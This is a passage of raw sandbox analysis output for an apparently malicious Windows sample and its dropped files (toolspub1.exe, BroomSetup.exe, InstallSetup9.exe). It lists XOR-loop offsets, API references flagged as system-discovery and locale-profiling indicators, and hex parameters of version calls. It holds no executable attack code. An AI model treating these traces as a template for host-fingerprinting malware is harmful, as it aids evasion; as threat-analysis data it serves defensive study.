33c1 Found XOR loop in file "sample.bin" at offset 2409924; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2431133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2487896; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2500493; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2639867; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2710980; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2730636; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2744697; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2847619; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2848594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3014314; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3034715; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3099101; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3125461; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3126684; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3167862; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3183679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3198634; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3203903; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3315051; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3367893; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3373428; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3390790; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3474660; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3539245; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3541561; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3541731; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3560821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3587089; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3614389; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3649656; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3708369; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3747851; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3819923; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3827692; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3903416; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4003631; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4043318; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4080237; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4122153; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4174522; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4211366; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4655945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4682686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4732721; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4740332; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4741220; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4838877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4897750; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4908085; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4911512; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5087070; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5155914; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5202283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5207011; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5315803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5328046; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5331955; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5375579; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5465616; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5481812; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5525984; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5700689; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5800656; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5897075; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5960409; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5961393; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5971160; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6025480; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6069102; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6093950; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6156193; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6167830; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6190512; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6285934; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6328439; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6345601; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6351103; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6358992; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6474392; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6489028; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6504170; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6540136; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6560989; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6562615; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6730961; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6800701; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7569516; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 50563; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 168252; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 287202; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 335429; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 341087; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 341627; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 485973; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 488756; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 515743; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 553142; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 640376; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 859421; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 982580; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1367322; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1404153; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1457434; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1534303; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1566755; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1579279; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1597023; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1611200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1650038; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1683325; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1811452; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1831659; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1921923; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1937127; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2037177; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2059529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2103308; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2115468; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2226096; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2414285; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2524815; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2670646; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2775605; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2790523; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2799724; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2913959; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2915891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2919175; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3107327; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3136386; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3143621; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3167501; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3274737; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3299844; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3312224; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3329433; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3430634; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3493639; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3562437; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3641672; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3691844; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3767306; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3789703; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3799760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3847555; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4034372; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4038595; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4093987; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4101886; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4620210; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4681120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4774404; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4831950; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4948743; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4972256; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5028313; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5034048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5067475; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5101937; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5213534; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5230813; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5230861; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5331836; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5385220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5414692; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5464822; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5582054; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5590483; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5762339; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5920639; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6021281; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6027282; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6035589; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6041247; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6129055; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6143357; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6178656; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6389390; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6587695; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6618859; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6618969; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6625994; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6691051; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6718568; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6880933; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6881505; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6883155; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6957075; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7125057; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7194885; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7194929; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7211011; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7356117; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7511448; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7525618; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7526014; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7543200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7556610; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7573704; code bytes = 803031:T44d,file/memory contains long string with (Indicator: "GetCommandLine"; File: "toolspub1.exe") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")32:T6a9,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp")33:T716,Found system information discovery API: "GetUserObjectInformationW" in file "00000000-00004224.00000000.80779.0040B000.00000020.mdmp" Found system information discovery API: "GetSystemInfo" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found system information discovery API: "GetMonitorInfoW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found system information discovery API: "GetEnvironmentStringsW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found system information discovery API: "ExpandEnvironmentStringsW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found system information discovery API: "GetNativeSystemInfo" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00004224.00000000.80779.00433000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00004224.00000000.80779.00433000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp" Found system information discovery API: "WTSRegisterSessionNotification" in "00000000-00004500.00000000.81045.007CB000.00000004.mdmp, 00000000-00004500.00000002.84888.007CB000.00000004.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00004500.00000000.81045.007CB000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.007CB000.00000004.mdmp"34:T712,Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp")35:Tbfa,file/memory contains long string with (Indicator: "sendmessage"; File: "INetC.dll") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")36:T80e,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001400000000000000000000000000000000000000000000000200000258fd29001c6f007300000000000000000000000080000000000000001c6f007308772b000100000000000000020000000c00000090312b0090312b008b312b000000000000000000000026000000000120f41f000000000040fa1f0095e183779f941b00feffffff435c87775059877794000000a00000008a312b0088312b0094000000c4f51f00fdfe7877a4ee1f000100000040fa1f0092e0a46edfd433b2feffffff5cf51f004c9ca46e5c0c000070f51f005f9ca46e0000000000000000 (UID: 00000000-00000640)37:T1b93,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000001005c00530068e42a00110000114de6000078922b0058fd2900b1080000aaa8640000200000b0080000580f00000d004200a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff5c00500000000000b1080000 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb7b76f097300000b0fd7f9a5c887700a0fd7fe4c5a40444b0fd7f00000000400000003f0000002100000000b0fd7fd8c5a404c15c887760828f772100000000b0fd7f9a5c887700a0fd7ffcc5a4045789877780838f771317a275d8eb7b76 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000640) "InstallSetup9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb7b76a81827000090fd7f9a5c887700f0fd7fecf412004490fd7f00000000400000003f0000001d0000000090fd7fe0f41200c15c887760828f771d0000000090fd7f9a5c887700f0fd7f04f512005789877780838f771317a275d8eb7b76 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002856) "toolspub1.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004224) "toolspub1.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000c8d11200000000000000000000000000dcd112000000000000000000000000002a0887d6d0d11200186da175d0d112002a6da1751c5c86774379a175ffffffff0c0000004c6286771f79a175ffffffff0c000000e4d11200040000000004000001000000f8d11200210e380000000000 (UID: 00000000-00004224) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000c8d11200000000000000000000000000dcd1120000000000000000000000000003ccf5d4d0d11200186da175d0d112002a6da1751c5c86774379a175ffffffff0c0000004c6286771f79a175ffffffff0c000000e4d11200040000000004000001000000f8d11200210e380200000000 (UID: 00000000-00002512) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004500) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f00f00700000000008c47217448d634008c4721740000000048d63400bcfe1200086d877718818f7700000000bc067b000000000000000000fcfe120095e18377aea91b00feffffff6b2c88773119a275021000000000000000000100d0fe1200c89f87778c4721740000000000000000 (UID: 00000000-00004500) "BroomSetup.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb7b76f0a5350000e0fd7f9a5c887700f0fd7fd4c7120044e0fd7f00000000400000003f0000002100000000e0fd7fc8c71200c15c887760828f772100000000e0fd7f9a5c887700f0fd7fecc712005789877780838f771317a275d8eb7b76 (UID: 00000000-00004500) "BroomSetup.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b20310000c4ab3300100000001c000000d8db1200dcdc12007ac8317008000000ac4e86779379a175ffffffff40dc1200000000002cdc12000010000004000000002000004cdc1200bf79a175ffffffff0000ef010000ef01001000000400000084dc1200000013006ee905700000ef01ff000000 (UID: 00000000-00004500) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100205061636b20310000c4ab3300100000001c000000d8db1200dcdc12007ac8317008000000ac4e86779379a175ffffffff40dc1200000000002cdc12000010000004000000002000004cdc1200bf79a175ffffffff0000ef010000ef01001000000400000084dc1200000013006ee90570 (UID: 00000000-00004500) "BroomSetup.exe" called "GetVersionExA" with parameter 